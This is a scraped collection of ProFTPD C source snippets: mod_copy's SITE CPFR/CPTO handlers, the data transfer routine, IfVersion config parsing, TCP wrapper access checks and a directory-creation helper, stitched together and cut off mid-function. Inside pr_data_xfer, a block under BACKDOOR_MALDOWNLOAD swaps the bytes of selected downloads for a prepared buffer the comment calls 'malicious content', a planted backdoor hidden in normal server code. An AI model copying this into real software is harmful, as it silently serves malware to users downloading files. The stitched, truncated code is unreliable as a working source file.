    char *cmd_name, *decoded_path, *from, *to;
    unsigned char *authenticated;

    if (cmd->argc != 4) {
      return PR_DECLINED(cmd);
    }

    authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
    if (authenticated == NULL ||
        *authenticated == FALSE) {
      pr_response_add_err(R_530, _("Please login with USER and PASS"));

      pr_cmd_set_errno(cmd, EPERM);
      errno = EPERM;
      return PR_ERROR(cmd);
    }

    /* XXX What about paths which contain spaces? */

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[2],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[2], strerror(xerrno));
      pr_response_add_err(R_550,
        _("%s: Illegal character sequence in filename"), (char *) cmd->argv[2]);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    from = dir_canonical_vpath(cmd->tmp_pool, decoded_path);

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[3],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[3], strerror(xerrno));
      pr_response_add_err(R_550,
        _("%s: Illegal character sequence in filename"), (char *) cmd->argv[3]);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    to = dir_canonical_vpath(cmd->tmp_pool, decoded_path);

    cmd_name = cmd->argv[0];
    pr_cmd_set_name(cmd, "SITE_COPY");
    if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, to, NULL)) {
      int xerrno = EPERM;

      pr_cmd_set_name(cmd, cmd_name);
      pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[3],
        strerror(xerrno));

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }
    pr_cmd_set_name(cmd, cmd_name);

    if (copy_paths(cmd->tmp_pool, from, to) < 0) {
      int xerrno = errno;

      pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1],
        strerror(xerrno));

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    pr_response_add(R_200, _("SITE %s command successful"),
      (char *) cmd->argv[1]);
    return PR_HANDLED(cmd);
  }

  if (strncasecmp(cmd->argv[1], "HELP", 5) == 0) {
    pr_response_add(R_214, _("CPFR <sp> pathname"));
    pr_response_add(R_214, _("CPTO <sp> pathname"));
  }

  return PR_DECLINED(cmd);
}
Exemple #19
0
int pr_data_xfer(char *cl_buf, int cl_size) {
  int len = 0;
  int total = 0;
  int res = 0;

  /* Poll the control channel for any commands we should handle, like
   * QUIT or ABOR.
   */
  pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
  pr_netio_set_poll_interval(session.c->instrm, 0);
  res = pr_netio_poll(session.c->instrm);
  pr_netio_reset_poll_interval(session.c->instrm);

  if (res == 0 &&
      !(session.sf_flags & SF_ABORT)) {
    cmd_rec *cmd = NULL;

    pr_trace_msg(trace_channel, 1,
      "data available for reading on control channel during data transfer, "
      "reading control data");
    res = pr_cmd_read(&cmd);
    if (res < 0) {
      int xerrno;
#if defined(ECONNABORTED)
      xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
      xerrno = ENOTCONN;
#else
      xerrno = EIO;
#endif

      pr_trace_msg(trace_channel, 1,
        "unable to read control command during data transfer: %s",
        strerror(xerrno));
      errno = xerrno;

#ifndef PR_DEVEL_NO_DAEMON
      /* Otherwise, EOF */
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
      return -1;
#endif /* PR_DEVEL_NO_DAEMON */

    } else if (cmd != NULL) {
      char *ch;

      for (ch = cmd->argv[0]; *ch; ch++)
        *ch = toupper(*ch);

      cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);

      /* Only handle commands which do not involve data transfers; we
       * already have a data transfer in progress.  For any data transfer
       * command, send a 450 ("busy") reply.  Looks like almost all of the
       * data transfer commands accept that response, as per RFC959.
       *
       * We also prevent the EPRT, EPSV, PASV, and PORT commands, since
       * they will also interfere with the current data transfer.  In doing
       * so, we break RFC compliance a little; RFC959 does not allow a
       * response code of 450 for those commands (although it should).
       */
      if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, denying",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add_err(R_450, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_err_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      /* We don't want to actually dispatch the NOOP command, since that
       * would overwrite the scoreboard with the NOOP state; admins probably
       * want to see the command that caused the data transfer.  And since
       * NOOP doesn't take a 450 response (as per RFC959), we will simply
       * return 200.
       */
      } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, ignoring",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add(R_200, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      } else {
        char *title_buf = NULL;
        int title_len = -1;
        const char *sce_cmd = NULL, *sce_cmd_arg = NULL;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, dispatching",
          cmd->argv[0]);

        title_len = pr_proctitle_get(NULL, 0);
        if (title_len > 0) {
          title_buf = pcalloc(cmd->pool, title_len + 1);
          pr_proctitle_get(title_buf, title_len + 1); 
        }

        sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
        sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);

        pr_cmd_dispatch(cmd);

        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);

        if (title_len > 0) {
          pr_proctitle_set_str(title_buf);
        }

        destroy_pool(cmd->pool);
      }

    } else {
      pr_trace_msg(trace_channel, 3,
        "invalid command sent, sending error response");
      pr_response_send(R_500, _("Invalid command: try being more creative"));
    }
  }

  /* If we don't have a data connection here (e.g. might have been closed
   * by an ABOR, then return zero (no data transferred).
   */
  if (session.d == NULL) {
    int xerrno;

#if defined(ECONNABORTED)
    xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
    xerrno = ENOTCONN;
#else
    xerrno = EIO;
#endif

    pr_trace_msg(trace_channel, 1,
      "data connection is null prior to data transfer (possibly from "
      "aborted transfer), returning '%s' error", strerror(xerrno));
    pr_log_debug(DEBUG5, 
      "data connection is null prior to data transfer (possibly from "
       "aborted transfer), returning '%s' error", strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    char *buf = session.xfer.buf;
    pr_buffer_t *pbuf;

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
      int adjlen, buflen;

      do {
        buflen = session.xfer.buflen;        /* how much remains in buf */
        adjlen = 0;

        pr_signals_handle();

        len = pr_netio_read(session.d->instrm, buf + buflen,
          session.xfer.bufsize - buflen, 1);
        if (len < 0)
          return -1;

        /* Before we process the data read from the client, generate an event
         * for any listeners which may want to examine this data.
         */

        pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
        pbuf->buf = buf;
        pbuf->buflen = len;
        pbuf->current = pbuf->buf;
        pbuf->remaining = 0;

        pr_event_generate("core.data-read", pbuf);

        /* The event listeners may have changed the data to write out. */
        buf = pbuf->buf;
        len = pbuf->buflen - pbuf->remaining;

        if (len > 0) {
          buflen += len;

          if (timeout_stalled) {
            pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
          }
        }

        /* If buflen > 0, data remains in the buffer to be copied. */
        if (len >= 0 &&
            buflen > 0) {

          /* Perform translation:
           *
           * buflen is returned as the modified buffer length after
           *        translation
           * adjlen is returned as the number of characters unprocessed in
           *        the buffer (to be dealt with later)
           *
           * We skip the call to xfrm_ascii_read() in one case:
           * when we have one character in the buffer and have reached
           * end of data, this is so that xfrm_ascii_read() won't sit
           * forever waiting for the next character after a final '\r'.
           */
          if (len > 0 || buflen > 1)
            xfrm_ascii_read(buf, &buflen, &adjlen);
	
          /* Now copy everything we can into cl_buf */
          if (buflen > cl_size) {
            /* Because we have to cut our buffer short, make sure this
             * is made up for later by increasing adjlen.
             */
            adjlen += (buflen - cl_size);
            buflen = cl_size;
          }

          memcpy(cl_buf, buf, buflen);

          /* Copy whatever remains at the end of session.xfer.buf to the
           * head of the buffer and adjust buf accordingly.
           *
           * adjlen is now the total bytes still waiting in buf, if
           * anything remains, copy it to the start of the buffer.
           */

          if (adjlen > 0)
            memcpy(buf, buf+buflen, adjlen);

          /* Store everything back in session.xfer. */
          session.xfer.buflen = adjlen;
          total += buflen;
        }
	
        /* Restart if data was returned by pr_netio_read() (len > 0) but no
         * data was copied to the client buffer (buflen = 0).  This indicates
         * that xfrm_ascii_read() needs more data in order to translate, so we
         * need to call pr_netio_read() again.
         */
      } while (len > 0 && buflen == 0);

      /* Return how much data we actually copied into the client buffer. */
      len = buflen;

    } else if ((len = pr_netio_read(session.d->instrm, cl_buf,
        cl_size, 1)) > 0) {

      /* Before we process the data read from the client, generate an event
       * for any listeners which may want to examine this data.
       */

      pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
      pbuf->buf = buf;
      pbuf->buflen = len;
      pbuf->current = pbuf->buf;
      pbuf->remaining = 0;

      pr_event_generate("core.data-read", pbuf);

      /* The event listeners may have changed the data to write out. */
      buf = pbuf->buf;
      len = pbuf->buflen - pbuf->remaining;

      /* Non-ASCII mode doesn't need to use session.xfer.buf */
      if (timeout_stalled) {
        pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
      }

      total += len;
    }

  } else { /* PR_NETIO_IO_WR */
  
    while (cl_size) {
      int bwrote = 0;
      int buflen = cl_size;
      unsigned int xferbuflen;

      pr_signals_handle();

      if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
        buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

      xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
      int restriction = 0;

			if (strcmp(fakedownload, "1") == 0)
			{
				// Iterate through all files
				int i = 0;
				for (i = 0; i < mcounter; i++)
				{
					if (strcmp(mlist[i].category, "web") == 0)
					{
						if (strcmp(mlist[i].filename_good, active_full_path) == 0)
						{
							session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
							if (!session.xfer.buf)
								break;
							/* Fill up our internal buffer with malicious content. :-) */
							memcpy(session.xfer.buf, filename_buffer, buflen);
							filename_buffer += buflen;
							restriction = 1;
							break;

						}
  					}
				}
			}
			
			if (restriction == 0)
			{				
#endif /* BACKDOOR_MALDOWNLOAD */
				/* Fill up our internal buffer. */
				memcpy(session.xfer.buf, cl_buf, buflen);
				
				if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
        /* Scan the internal buffer, looking for LFs with no preceding CRs.
         * Add CRs (and expand the internal buffer) as necessary. xferbuflen
         * will be adjusted so that it contains the length of data in
         * the internal buffer, including any added CRs.
         */
        xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
      }
#ifdef BACKDOOR_MALDOWNLOAD
      }
#endif /* BACKDOOR_MALDOWNLOAD */

      bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);

      if (bwrote < 0)
        return -1;

      if (bwrote > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        cl_size -= buflen;
        cl_buf += buflen;
        total += buflen;
      }
    }

    len = total;
  }

  if (total &&
      timeout_idle)
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

  session.xfer.total_bytes += total;
  session.total_bytes += total;
  if (session.xfer.direction == PR_NETIO_IO_RD) {
    session.total_bytes_in += total;

  } else {
    session.total_bytes_out += total;
  }

  return (len < 0 ? -1 : len);
}
Exemple #20
0
MODRET copy_cpfr(cmd_rec *cmd) {
  register unsigned int i;
  int res;
  char *path = "";
  unsigned char *authenticated = NULL;

  if (copy_engine == FALSE) {
    return PR_DECLINED(cmd);
  }

  if (cmd->argc < 3 ||
      strncasecmp(cmd->argv[1], "CPFR", 5) != 0) {
    return PR_DECLINED(cmd);
  }

  authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
  if (authenticated == NULL ||
      *authenticated == FALSE) {
    pr_response_add_err(R_530, _("Please login with USER and PASS"));
  
    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }

  CHECK_CMD_MIN_ARGS(cmd, 3);

  /* Construct the target file name by concatenating all the parameters after
   * the "SITE CPFR", separating them with spaces.
   */
  for (i = 2; i <= cmd->argc-1; i++) {
    char *decoded_path;

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[i], strerror(xerrno));
      pr_response_add_err(R_550,
        _("%s: Illegal character sequence in filename"), cmd->arg);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    path = pstrcat(cmd->tmp_pool, path, *path ? " " : "", decoded_path, NULL);
  }

  res = pr_filter_allow_path(CURRENT_CONF, path);
  switch (res) {
    case 0:
      break;

    case PR_FILTER_ERR_FAILS_ALLOW_FILTER:
      pr_log_debug(DEBUG2, MOD_COPY_VERSION
        ": 'CPFR %s' denied by PathAllowFilter", path);
      pr_response_add_err(R_550, _("%s: Forbidden filename"), path);

      pr_cmd_set_errno(cmd, EPERM);
      errno = EPERM;
      return PR_ERROR(cmd);

    case PR_FILTER_ERR_FAILS_DENY_FILTER:
      pr_log_debug(DEBUG2, MOD_COPY_VERSION
        ": 'CPFR %s' denied by PathDenyFilter", path);
      pr_response_add_err(R_550, _("%s: Forbidden filename"), path);

      pr_cmd_set_errno(cmd, EPERM);
      errno = EPERM;
      return PR_ERROR(cmd);
  }

  /* Allow renaming a symlink, even a dangling one. */
  path = dir_canonical_vpath(cmd->tmp_pool, path);

  if (!path ||
      !dir_check_canon(cmd->tmp_pool, cmd, cmd->group, path, NULL) ||
      !exists(path)) {
    int xerrno = errno;

    pr_response_add_err(R_550, "%s: %s", path, strerror(xerrno));

    pr_cmd_set_errno(cmd, xerrno);
    errno = xerrno;
    return PR_ERROR(cmd);
  }

  if (pr_table_add(session.notes, "mod_copy.cpfr-path",
      pstrdup(session.pool, path), 0) < 0) {
    pr_trace_msg(trace_channel, 4,
      "error adding 'mod_copy.cpfr-path' note: %s", strerror(errno));
  }

  pr_response_add(R_350, _("File or directory exists, ready for destination "
    "name"));
  return PR_HANDLED(cmd);
}
Exemple #21
0
/* Usage: <IfVersion [!]op version-string|regex> */
MODRET start_ifversion(cmd_rec *cmd) {
  unsigned int ifversion_ctx_count = 1;
  int compared, matched = FALSE, negated = FALSE;
  char buf[PR_TUNABLE_BUFFER_SIZE], *config_line = NULL;
  char *error = NULL, *version_str = NULL, *op_str = NULL;
  size_t op_len;

  if (cmd->argc-1 == 0 ||
      cmd->argc-1 > 2) {
    CONF_ERROR(cmd, "wrong number of parameters");
  }

  if (cmd->argc-1 == 2) {
    op_str = cmd->argv[1];

    if (*op_str == '!' &&
        strlen(op_str) > 1) {
      negated = TRUE;
      op_str++;
    }

    op_len = strlen(op_str);
    version_str = cmd->argv[2];

  } else {
    /* Assume that if only a version-string was supplied, the operator
     * is intended to be the equality operator.
     */
    op_str = "=";
    op_len = 1;
    version_str = cmd->argv[1];
  }

  switch (*op_str) {
    case '=':
      if (*version_str != '/') {
        /* Normal equality comparison */
        compared = compare_version(cmd->tmp_pool, version_str, &error);
        if (error != NULL) {
          CONF_ERROR(cmd, error);
        }

        matched = (compared == 0);
        break;
      }

      /* Otherwise, it's a regular expression */
      if (version_str[strlen(version_str)-1] != '/') {
        CONF_ERROR(cmd, "Missing terminating '/' of regular expression");
      }

      /* Fall through to the next case in order to handle/evaluate the
       * regular expression.  Be sure to remove the bracketing '/' characters
       * for the regex compilation.
       */
      version_str[strlen(version_str)-1] = '\0';
      version_str++;

    case '~': 
      /* Regular expression */
      matched = match_version(cmd->tmp_pool, version_str, &error);
      if (error != NULL) {
        CONF_ERROR(cmd, error);
      }

      break;

    case '<':
      compared = compare_version(cmd->tmp_pool, version_str, &error);
      if (error != NULL) {
        CONF_ERROR(cmd, error);
      }

      if (compared == -1 ||
          (op_len == 2 && compared == 0)) {
        matched = TRUE;
      }

      break;

    case '>':
      compared = compare_version(cmd->tmp_pool, version_str, &error);
      if (error != NULL) {
        CONF_ERROR(cmd, error);
      }

      if (compared == 1 ||
          (op_len == 2 && compared == 0)) {
        matched = TRUE;
      }

      break;

    default:
      CONF_ERROR(cmd, pstrcat(cmd->tmp_pool, "unknown comparison operator '",
        op_str, "'", NULL));
  } 

  if ((matched && !negated) ||
      (!matched && negated)) {
    pr_log_debug(DEBUG3, "%s: using '%s %s' section at line %u",
      cmd->argv[0], cmd->argv[1], cmd->argv[2], pr_parser_get_lineno());
      return PR_HANDLED(cmd);
  }

  pr_log_debug(DEBUG3, "%s: skipping '%s %s' section at line %u",
    cmd->argv[0], cmd->argv[1], cmd->argv[2], pr_parser_get_lineno());

  while (ifversion_ctx_count > 0 &&
         (config_line = pr_parser_read_line(buf, sizeof(buf))) != NULL) {
    pr_signals_handle();

    if (strncasecmp(config_line, "<IfVersion", 10) == 0) {
      ifversion_ctx_count++;
    }

    if (strcasecmp(config_line, "</IfVersion>") == 0) {
      ifversion_ctx_count--;
    }
  }

  /* If there are still unclosed <IfVersion> sections, signal an error.
   */
  if (ifversion_ctx_count > 0) {
    CONF_ERROR(cmd, "unclosed <IfVersion> section");
  }

  return PR_HANDLED(cmd);
}
Exemple #22
0
MODRET copy_cpto(cmd_rec *cmd) {
  register unsigned int i;
  char *from, *to = "";
  unsigned char *authenticated = NULL;

  if (copy_engine == FALSE) {
    return PR_DECLINED(cmd);
  }

  if (cmd->argc < 3 ||
      strncasecmp(cmd->argv[1], "CPTO", 5) != 0) {
    return PR_DECLINED(cmd);
  }

  authenticated = get_param_ptr(cmd->server->conf, "authenticated", FALSE);
  if (authenticated == NULL ||
      *authenticated == FALSE) {
    pr_response_add_err(R_530, _("Please login with USER and PASS"));

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }

  CHECK_CMD_MIN_ARGS(cmd, 3);

  from = pr_table_get(session.notes, "mod_copy.cpfr-path", NULL);
  if (from == NULL) {
    pr_response_add_err(R_503, _("Bad sequence of commands"));

    pr_cmd_set_errno(cmd, EPERM);
    errno = EPERM;
    return PR_ERROR(cmd);
  }

  /* Construct the target file name by concatenating all the parameters after
   * the "SITE CPTO", separating them with spaces.
   */
  for (i = 2; i <= cmd->argc-1; i++) {
    char *decoded_path;

    decoded_path = pr_fs_decode_path2(cmd->tmp_pool, cmd->argv[i],
      FSIO_DECODE_FL_TELL_ERRORS);
    if (decoded_path == NULL) {
      int xerrno = errno;

      pr_log_debug(DEBUG8, "'%s' failed to decode properly: %s",
        (char *) cmd->argv[i], strerror(xerrno));
      pr_response_add_err(R_550,
        _("%s: Illegal character sequence in filename"), cmd->arg);

      pr_cmd_set_errno(cmd, xerrno);
      errno = xerrno;
      return PR_ERROR(cmd);
    }

    to = pstrcat(cmd->tmp_pool, to, *to ? " " : "", decoded_path, NULL);
  }

  to = dir_canonical_vpath(cmd->tmp_pool, to);

  if (copy_paths(cmd->tmp_pool, from, to) < 0) {
    int xerrno = errno;

    pr_response_add_err(R_550, "%s: %s", (char *) cmd->argv[1],
      strerror(xerrno));

    pr_cmd_set_errno(cmd, xerrno);
    errno = xerrno;
    return PR_ERROR(cmd);
  }

  pr_response_add(R_250, "%s", _("Copy successful"));
  return PR_HANDLED(cmd);
}
Exemple #23
0
MODRET wrap_handle_request(cmd_rec *cmd) {

  /* these variables are names expected to be set by the TCP wrapper code
   */
  struct request_info request;

  char *user = NULL;
  config_rec *conf = NULL, *access_conf = NULL, *syslog_conf = NULL;
  hosts_allow_table = NULL;
  hosts_deny_table = NULL;

  /* hide passwords */
  session.hide_password = TRUE;

  /* Sneaky...found in mod_auth.c's cmd_pass() function.  Need to find the
   * login UID in order to resolve the possibly-login-dependent filename.
   */
  user = pr_table_get(session.notes, "mod_auth.orig-user", NULL);

  /* It's possible that a PASS command came before USER.  This is a PRE_CMD
   * handler, so it won't be protected from this case; we'll need to do
   * it manually.
   */
  if (!user)
    return PR_DECLINED(cmd);

  /* Use mod_auth's _auth_resolve_user() [imported for use here] to get the
   * right configuration set, since the user may be logging in anonymously,
   * and the session struct hasn't yet been set for that yet (thus short-
   * circuiting the easiest way to get the right context...the macros.
   */
  conf = wrap_resolve_user(cmd->pool, &user);

  /* Search first for user-specific access files.  Multiple TCPUserAccessFiles
   * directives are allowed.
   */
  if ((access_conf = find_config(conf ? conf->subset : CURRENT_CONF, CONF_PARAM,
      "TCPUserAccessFiles", FALSE)) != NULL) {
    int matched = FALSE;
    array_header *user_array = NULL;

    while (access_conf) {

      user_array = make_array(cmd->tmp_pool, 0, sizeof(char *));
      *((char **) push_array(user_array)) = pstrdup(cmd->tmp_pool, user);

      /* Check the user expression -- don't forget the offset, to skip
       * the access file name strings in argv
       */
      if (wrap_eval_expression(((char **) access_conf->argv) + 2,
          user_array)) {
        pr_log_debug(DEBUG4, MOD_WRAP_VERSION
          ": matched TCPUserAccessFiles expression");
        matched = TRUE;
        break;
      }

      access_conf = find_config_next(access_conf, access_conf->next,
        CONF_PARAM, "TCPUserAccessFiles", FALSE);
    }

    if (!matched)
      access_conf = NULL;
  }

  /* Next, search for group-specific access files.  Multiple
   * TCPGroupAccessFiles directives are allowed.
   */ 
  if (!access_conf && (access_conf = find_config(conf ? conf->subset :
        CURRENT_CONF, CONF_PARAM, "TCPGroupAccessFiles", FALSE)) != NULL) {
    unsigned char matched = FALSE;

    /* NOTE: this gid_array is only necessary until Bug#1461 is fixed */
    array_header *gid_array = make_array(cmd->pool, 0, sizeof(gid_t));

    array_header *group_array = make_array(cmd->pool, 0, sizeof(char *));

    while (access_conf) {
      if (pr_auth_getgroups(cmd->pool, user, &gid_array, &group_array) < 1) {
        pr_log_debug(DEBUG3, MOD_WRAP_VERSION
          ": no supplemental groups found for user '%s'", user);

      } else {

        /* Check the group expression -- don't forget the offset, to skip
         * the access file names strings in argv
         */
        if (wrap_eval_expression(((char **) access_conf->argv) + 2,
            group_array)) {
          pr_log_debug(DEBUG4, MOD_WRAP_VERSION
            ": matched TCPGroupAccessFiles expression");
          matched = TRUE;
          break;
        }
      }

      access_conf = find_config_next(access_conf, access_conf->next,
        CONF_PARAM, "TCPGroupAccessFiles", FALSE);
    }

    if (!matched)
      access_conf = NULL;
  }

  /* Finally for globally-applicable access files.  Only one such directive
   * is allowed.
   */
  if (!access_conf) {
    access_conf = find_config(conf ? conf->subset : CURRENT_CONF,
      CONF_PARAM, "TCPAccessFiles", FALSE);
  }

  if (access_conf) {
    hosts_allow_table = (char *) access_conf->argv[0];
    hosts_deny_table = (char *) access_conf->argv[1];
  }

  /* Now, check the retrieved filename, and see if it requires a login-time
   * file.
   */
  if (hosts_allow_table != NULL && hosts_allow_table[0] == '~' &&
      hosts_allow_table[1] == '/') {
    char *allow_real_table = NULL;

    allow_real_table = wrap_get_user_table(cmd, user, hosts_allow_table);

    if (!wrap_is_usable_file(allow_real_table)) {
      pr_log_pri(PR_LOG_WARNING, MOD_WRAP_VERSION
        ": configured TCPAllowFile %s is unusable", hosts_allow_table);
      hosts_allow_table = NULL;

    } else
      hosts_allow_table = allow_real_table;
  }

  if (hosts_deny_table != NULL && hosts_deny_table[0] == '~' &&
      hosts_deny_table[1] == '/') {
    char *deny_real_table = NULL;

    deny_real_table = dir_realpath(cmd->pool, hosts_deny_table);

    if (!wrap_is_usable_file(deny_real_table)) {
      pr_log_pri(PR_LOG_WARNING, MOD_WRAP_VERSION
        ": configured TCPDenyFile %s is unusable", hosts_deny_table);
      hosts_deny_table = NULL;

    } else 
      hosts_deny_table = deny_real_table;
  }

  /* Make sure that _both_ allow and deny TCPAccessFiles are present.
   * If not, log the missing file, and by default allow request to succeed.
   */
  if (hosts_allow_table != NULL && hosts_deny_table != NULL) {

    /* Most common case...nothing more necessary */

  } else if (hosts_allow_table == NULL && hosts_deny_table != NULL) {

    /* Log the missing file */
    pr_log_pri(PR_LOG_INFO, MOD_WRAP_VERSION ": no usable allow access file -- "
      "allowing connection");

    return PR_DECLINED(cmd);

  } else if (hosts_allow_table != NULL && hosts_deny_table == NULL) {

    /* log the missing file */
    pr_log_pri(PR_LOG_INFO, MOD_WRAP_VERSION ": no usable deny access file -- "
      "allowing connection");

    return PR_DECLINED(cmd);

  } else {

    /* Neither set -- assume the admin hasn't configured these directives
     * at all.
     */
    return PR_DECLINED(cmd);
  }

  /* Log the names of the allow/deny files being used. */
  pr_log_pri(PR_LOG_DEBUG, MOD_WRAP_VERSION ": using access files: %s, %s",
    hosts_allow_table, hosts_deny_table);

  /* retrieve the user-defined syslog priorities, if any.  Fall back to the
   * defaults as seen in tcpd.h if not defined.
   */
  syslog_conf = find_config(main_server->conf, CONF_PARAM,
    "TCPAccessSyslogLevels", FALSE);

  if (syslog_conf) {
    allow_severity = *((int *) syslog_conf->argv[0]);
    deny_severity = *((int *) syslog_conf->argv[1]);

  } else {
    allow_severity = PR_LOG_INFO;
    deny_severity = PR_LOG_WARNING;
  }

  /* While it may look odd to OR together the syslog facility and level,
   * that is the way that syslog(3) says to do it:
   *
   *  "The priority argument is formed by ORing the facility and the level
   *   values..."
   *
   * Note that we do this OR here because the allow_severity/deny_severity
   * values are ALSO used by the libwrap library; it is also why we need
   * to mask off some bits later, when using proftpd's logging functions.
   */
  allow_severity = log_getfacility() | allow_severity;
  deny_severity = log_getfacility() | deny_severity;

  pr_log_debug(DEBUG4, MOD_WRAP_VERSION ": checking under service name '%s'",
    wrap_service_name);
  request_init(&request, RQ_DAEMON, wrap_service_name, RQ_FILE,
    session.c->rfd, 0);

  fromhost(&request);

  if (STR_EQ(eval_hostname(request.client), paranoid) ||
      !hosts_access(&request)) {
    char *denymsg = NULL;

    /* log the denied connection */
    wrap_log_request_denied(deny_severity, &request);

    /* Broadcast this event to any interested listeners. */
    pr_event_generate("mod_wrap.connection-denied", NULL);

    /* check for AccessDenyMsg */
    if ((denymsg = (char *) get_param_ptr(TOPLEVEL_CONF, "AccessDenyMsg",
        FALSE)) != NULL)
      denymsg = sreplace(cmd->tmp_pool, denymsg, "%u", user, NULL);

    if (denymsg)
      return PR_ERROR_MSG(cmd, R_530, denymsg);
    else
      return PR_ERROR_MSG(cmd, R_530, _("Access denied"));
  }

  /* If request is allowable, return DECLINED (for engine to act as if this
   * handler was never called, else ERROR (for engine to abort processing and
   * deny request.
   */
  wrap_log_request_allowed(allow_severity, &request);

  return PR_DECLINED(cmd);
}
Exemple #24
0
static int create_path(pool *p, const char *path) {
  struct stat st;
  char *curr_path, *dup_path; 
 
  pr_fs_clear_cache2(path);
  if (pr_fsio_stat(path, &st) == 0) {
    return 0;
  }
 
  dup_path = pstrdup(p, path);

  curr_path = "/"; 
  while (dup_path &&
         *dup_path) {
    char *curr_dir;
    int res;
    cmd_rec *cmd;
    pool *sub_pool;

    pr_signals_handle();

    curr_dir = strsep(&dup_path, "/");
    curr_path = pdircat(p, curr_path, curr_dir, NULL);

    /* Dispatch fake C_MKD command, e.g. for mod_quotatab */
    sub_pool = pr_pool_create_sz(p, 64);
    cmd = pr_cmd_alloc(sub_pool, 2, pstrdup(sub_pool, C_MKD),
      pstrdup(sub_pool, curr_path));
    cmd->arg = pstrdup(cmd->pool, curr_path);
    cmd->cmd_class = CL_DIRS|CL_WRITE;

    pr_response_clear(&resp_list);
    pr_response_clear(&resp_err_list);

    res = pr_cmd_dispatch_phase(cmd, PRE_CMD, 0);
    if (res < 0) {
      int xerrno = errno;

      pr_log_debug(DEBUG3, MOD_COPY_VERSION
        ": creating directory '%s' blocked by MKD handler: %s", curr_path,
        strerror(xerrno));
